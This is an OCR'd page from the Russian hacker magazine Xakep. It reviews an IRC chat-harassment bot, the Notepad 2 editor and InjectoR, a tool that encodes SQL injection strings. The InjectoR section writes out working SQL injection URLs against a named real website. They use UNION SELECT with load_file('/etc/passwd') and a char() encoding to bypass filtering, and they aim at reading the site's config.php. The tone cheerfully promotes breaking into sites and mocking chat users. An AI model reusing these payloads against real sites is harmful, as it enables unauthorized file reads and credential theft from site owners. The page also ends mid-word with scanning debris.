Май - Xakep Online

взлом
• !банлист+[e-mail]* — внесение непонравившегося
мыла в банлист — blacklist.rbt.
• !хуиз [IP-адрес] * — получение данных
об IP-адресе через хуиз-сервис whois.ripe.net.
• !пой [название файла] * — построчное
цитирование указанного файла с задержкой
между строчками в три секунды. Для этого
цитируемый файл должен быть сохранен в
папке основного скрипта с названием название_файла.rbt
(файлы конь.rbt, елка.rbt).
• !кик [ник] * — выброс пользователя с указанным
ником из чата (душевная команда =)).
• !комендантч+ * — этой командой включается
режим «комендантский час», при котором
бот выгоняет всех вновь вошедших чатлан.
Она бывает полезна для проведения приватных
бесед и при атаках флудеров.
• !диалог+ * — включаем бота в активную
беседу, бот будет отвечать на адресованные
ему высказывания (файл bred.rbt).
• !свали * — выкидываем бота из чата.
Это далеко не полный перечень команд, поэтому
можешь смело экспериментировать. Кстати,
тебе повезло — на диск я выложил именно
приватную версию бота, а не ту, что доступна
для всех желающих на сайте команды (за
появление бота на свет благодарим хакера
под ником SMERSH). В общем, приятного
тебе отдыха и веселого глумления над
народом :).
Программа: Notepad 2
ОС: Windows 98/ME/2000/XP
Автор: Florian Balmer
Главная тулза хакера
Взглянув в графу названия программы, ты,
наверное, удивился (или подумал, что в твоем
любимом журнале курят не ту траву =)). Спешу
объясниться. Утила, которую я тебе сейчас
представлю, действительно носит гордое
название Notepad 2 :). Дело в том, что меня уже
порядком достали тулзы для подсветки синтаксиса
различных языков программирования.
Под Linux такой проблемы нет, поскольку под
рукой всегда есть vim и kwrite, а вот под Виндой
я перебрал с десяток подобных прог. Однако
ни одна из них не смогла удовлетворить моих
вполне скромных потребностей. К счастью, в
один прекрасный момент на глаза мне попался
очередной заменитель блокнота — Notepad 2.
Поюзав тулзу несколько дней, я навсегда
уготовил ей место на своем винте =). Перечислю
основные характеристики софтинки:
• настраиваемая подсветка синтаксиса:
HTML, JavaScript, VBScript, ASP, PHP, CSS,
Perl/CGI;
C/C++, C#, Java, VB, Pascal, Assembler, SQL;
INI, REG, INF, BAT, DIFF;
• редактирование текста перетаскиванием;
• простые регулярные выражения поиска и
замены;
• команды редактирования слова, строки и
блока;
• подсветка скобок, автоотступ, указатель
длинных строк, увеличение;
• поддержка текстовых файлов Unicode, UTF-
8, Unix и Mac;
• вставка времени/даты (краткая/полная
форма) (, );
• вставка имени файла/пути (,
).
Кроме того, доработанный блокнотик имеет
огромное количество горячих клавиш, вот
лишь самые полезные из них:
— указать схему подсветки синтаксиса;
— настроить схему подсветки
синтаксиса;
— показать нумерацию строк;
— переход на указанную строку;
— найти соответствующую скобку;
— выделить до скобки.
Нет смысла продолжать описывать все, на что способен
Notepad 2. Главная черта программ такого
рода — это удобство. Поэтому смело сливай с нашего
DVD апдейтнутый блокнот — не пожалеешь.
Программа: InjectoR
ОС: Windows 98/ME/2000/XP
Автор: SMERSH
Injector — просто и со вкусом :)
тьи о проге Antichat SQL-tools, я не спроста затронул
эту тему. Не спорю, утила полезная и классная,
но не об этом речь. Если ты внимательно читал мои
предыдущие статьи, то заметил, что при взломе
БД, реализуя очередной мудреный инъект, то и
дело приходится юзать функции char(), concat(),
и т.д. И все бы хорошо, но вбивать вручную такие
строки — занятие для редкого мазохиста =).
Вот прикинь, имеем мы на руках такую багу:
http://script.tourdebali.com/
asnforum/viewtopic.php?id=-11+un
ion+select+1,2,3,4,5,6,7+/*
Первым делом, подобрав количество полей,
проверяем наличие прав file_priv:
http://script.tourdebali.
com/asnforum/viewtopic.php?id=-
11+union+select+1,2,3,4,5,load_
file('/etc/passwd')),7+/*
И тут скрипт выдает ошибку, не суля ничего,
кроме облома :(. Что делать? Правильно, попробовать
обойти фильтрацию при помощи char():
http://script.tourdebali.com/
asnforum/viewtopic.php?id=-11+un
ion+select+1,2,3,4,5,load_file(c
har(47,101,116,99,47,112,97,115,
115,119,100)),7+/*
В результате получаем доступ к чтению файлов на
сервере =). К чему я это говорю? Да к тому, что переводить
вручную строку «/etc/passwd» в «47,101,116,99,4
7,112,97,115,115,119,100» — занятие не из приятных.
А теперь представь, какое «удовольствие» ты получишь,
переводя ручками путь до конфига «/home/
tdb/public_html/script/asnforum/config.php» =).
Я уже молчу про случаи, когда выводится содержимое
только одного поля и нужно юзать concat().
Геморроя хватает везде, а в нашем деле — тем
более :). В одном из прошлых номеров журнала я
выкладывал свой перловый скрипт, возможностью
которого была, в частности, работа с ASCII. Но
недавно, мне подвернулась гораздо более удобная
тулза, имя которой InjectoR. Распинаться сильно не
буду, коротко обозначу основные моменты:
• работа с char(), concat(), not in();
• презентабельный интерфейс :);
• удобно висит в трее =).
Честно говоря, софтинка до боли простая, но
ее реализация заслуживает респекта. Гуевый
интерфейс выполнен на пять с плюсом, да и в
трее тулза смотрится прекрасно. Удобно, когда
под рукой всегда есть нужный тебе инструмент,
который, ко всему прочему, еще и радует глаз. z
Возвращаемся к наболевшему, а именно к автоматизации
взлома. Рассказывая в первой части стаxàêåð
05 /101/ 07
/
095